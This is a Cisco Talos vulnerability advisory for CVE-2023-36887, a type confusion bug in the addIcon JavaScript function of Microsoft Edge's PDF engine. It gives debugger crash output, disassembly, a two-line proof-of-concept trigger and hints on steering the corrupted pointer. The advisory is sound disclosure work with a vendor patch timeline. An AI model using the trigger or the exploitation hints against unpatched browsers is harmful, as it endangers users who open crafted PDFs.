Talos Vulnerability Report

TALOS-2023-1747

Microsoft Edge MSDCPDF Javascript addIcon type confusion vulnerability

July 17, 2023
CVE Number

CVE-2023-36887

SUMMARY

A memory corruption vulnerability exists in the Javascript implementation of the Acrobat-based PDF engine in Microsoft Edge 112.0.1722.58 and 114.0.1776.0 Canary. A specially crafted PDF document can trigger type confusion vulnerability when manipulating icons, which could lead to writes to arbitrary memory and possibly code execution or other side effects. Victim would need to open a malicious file in the browser to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Microsoft Edge 112.0.1722.58
Microsoft Edge 114.0.1776.0 Canary

PRODUCT URLS

Edge - https://www.microsoft.com/en-us/edge

CVSSv3 SCORE

8.1 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-843 - Access of Resource Using Incompatible Type (‘Type Confusion’)

DETAILS

Microsoft Edge is a modern, full featured Internet browser application aimed primarily at Windows users, but available on other platforms as well. Based on Chromium it aims to have feature parity with Chrome browser, has a large market share and is one of Microsoft’s flagship products.

In a recent version, Microsoft Edge has replaced PDFium PDF rendering engine with a more full-featured one based on Adobe Acrobat code. While the new PDF engine, likely called MSDCPDF, shares similarities with Adobe Acrobat Reader, there are significant differences, especially in the Javascript support and implementation. As in all other PDF engines, Javascript support in MSDCPDF is present to enable interactive documents and aims to implement full Javascript API specs as prescribed by Adobe.

One of the features enabled by Javascript API is manipulation of several different types of icons (for annotations, buttons, etc.). There exists a document level function addIcon() intended to add an icon resource to a list of document level icons. Native implementation behind this function contains a vulnerability when validating the object type passed as a parameter. Usually, an object passed as an argument would be shaped like an icon object or it would be rejected by the engine by throwing a “Wrong type of argument value” exception. This validation can fail for certain shapes of objects and can result in the following NULL pointer dereference crash:

27d0.12a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
msedge+0x64fa14:
00007fff`b579fa14 488b09          mov     rcx,qword ptr [rcx] ds:00000000`00000000=????????????????
11:172> k
 # Child-SP          RetAddr           Call Site
00 00000008`731fc630 00007fff`bdfba138 msedge+0x64fa14
01 00000008`731fc660 00007fff`bd4b2816 msedge!argon2_encodedlen+0x2799b8
02 00000008`731fc6c0 00007fff`bd4bd146 msedge!AugLoop_BinaryDataDownloadParams::operator=+0x21aa9a6
03 00000008`731fc710 00007fff`bd4b979d msedge!AugLoop_BinaryDataDownloadParams::operator=+0x21b52d6
04 00000008`731fc8d0 00007fff`b55aebaf msedge!AugLoop_BinaryDataDownloadParams::operator=+0x21b192d
05 00000008`731fc990 00007fff`b68557ba msedge+0x45ebaf
06 00000008`731fcb70 00007fff`b67b626c msedge+0x17057ba

However, depending on the object shape and memory layout, type confusion can take a different route, which can lead to memory corruption. For example, the attached proof of concept uses a field object of a certain type to trigger the vulnerability:

var f = getField(getNthFieldName(0));
this.addIcon("sd",f); 

The above PoC code results in a following crash:

    0:003> g
    (2740.2228): Access violation - code c0000005 (first/second chance not available)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    Time Travel Position: 182:0
    mspdf!GetPdfControlPrinter+0x13e73c:
    00007fff`d350690c f048ff4118      lock inc qword ptr [rcx+18h] ds:00007fff`d390fd20=00007fffd3874e40
    0:003> ?rcx
    Evaluate expression: 140736742882568 = 00007fff`d390fd08
    0:003> dq rcx
    00007fff`d390fd08  00007fff`d30ad4a0 00007fff`d349ab80
    00007fff`d390fd18  00007fff`d393b9e0 00007fff`d3874e40
    00007fff`d390fd28  00007fff`d393ba00 00007fff`d3864f20
    00007fff`d390fd38  00007fff`d393ba20 00007fff`d3874e70
    00007fff`d390fd48  00007fff`d393ba40 00007fff`d3874eb0
    00007fff`d390fd58  00007fff`d393ba60 00007fff`d3874ef0
    00007fff`d390fd68  00000000`00000000 00007fff`d393baa0
    00007fff`d390fd78  00007fff`d30b2640 00007fff`d30b2670
    0:003> u rcx
    mspdf!OQS_SIG_verify+0x755a8

Above crash is due to access violation when dereferencing a pointer in rcx. If we examine the code immediately before the crash we can observe the following:

.text:00000001804EECD1                 lea     rbp, [rsp+30h]
.text:00000001804EECD6                 mov     [rbp+10h+var_18], 0FFFFFFFFFFFFFFFEh
.text:00000001804EECDE                 mov     rsi, rdx
.text:00000001804EECE1                 mov     rdi, rcx
.text:00000001804EECE4                 movups  xmm0, xmmword ptr [rcx+8]
.text:00000001804EECE8                 movups  xmmword ptr [rdx], xmm0
.text:00000001804EECEB                 mov     rcx, [rdx]
.text:00000001804EECEE                 test    rcx, rcx
.text:00000001804EECF1                 jz      short loc_1804EECF8
.text:00000001804EECF3                 call    sub_1804A690C   ; calls crashing function
         
.text:00000001804A690C sub_1804A690C proc near 
.text:00000001804A690C lock inc qword ptr [rcx+18h]    ; crashes here
.text:00000001804A6911 mov     rax, [rcx+28h]         

Invalid pointer being dereferenced comes from rdx, which is in turn located on the stack. Following memory references further back reveals that the initial pointer value was initialized and written to memory in what appears to be unrelated part of the code:

Breakpoint 0 hit
mspdf!SetPlatformFactory+0x26765:
00007fff`d30b0e05 4883c430        add     rsp,30h
0:003> ub 
mspdf!SetPlatformFactory+0x26748:
00007fff`d30b0de8 104885          adc     byte ptr [rax-7Bh],cl
00007fff`d30b0deb c9              leave
00007fff`d30b0dec 7405            je      mspdf!SetPlatformFactory+0x26753 (00007fff`d30b0df3)
00007fff`d30b0dee e8195b4500      call    mspdf!GetPdfControlPrinter+0x13e73c (00007fff`d350690c)
00007fff`d30b0df3 0f104720        movups  xmm0,xmmword ptr [rdi+20h]
00007fff`d30b0df7 0f114620        movups  xmmword ptr [rsi+20h],xmm0
00007fff`d30b0dfb 488d0506ef8500  lea     rax,[mspdf!OQS_SIG_verify+0x755a8 (00007fff`d390fd08)]
00007fff`d30b0e02 488906          mov     qword ptr [rsi],rax
0:003> dq rax
00007fff`d390fd08  00007fff`d30ad4a0 00007fff`d349ab80
00007fff`d390fd18  00007fff`d393b9e0 00007fff`d3874e40
00007fff`d390fd28  00007fff`d393ba00 00007fff`d3864f20
00007fff`d390fd38  00007fff`d393ba20 00007fff`d3874e70
00007fff`d390fd48  00007fff`d393ba40 00007fff`d3874eb0
00007fff`d390fd58  00007fff`d393ba60 00007fff`d3874ef0
00007fff`d390fd68  00000000`00000000 00007fff`d393baa0
00007fff`d390fd78  00007fff`d30b2640 00007fff`d30b2670
0:003> u rax
mspdf!OQS_SIG_verify+0x755a8:

More specifically, in the example crash above, the invalid pointer points to a .rdata section of the mspdf.dll, to a VTable entry for field_group. Type confusion has occurred, andan unexpected pointer is being dereferenced to increment the value it points to.
While not under direct control, by changing the field types in the document, the value of the invalid pointer can be influenced. If successfully shifted to point to writable memory, the invalid pointer could be used to change values and possibly cause further memory corruption.

VENDOR RESPONSE

The vendor released an update and provided details for the vulnerability at: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36887

TIMELINE

2023-05-16 - Vendor Disclosure
2023-07-13 - Vendor Patch Release
2023-07-17 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.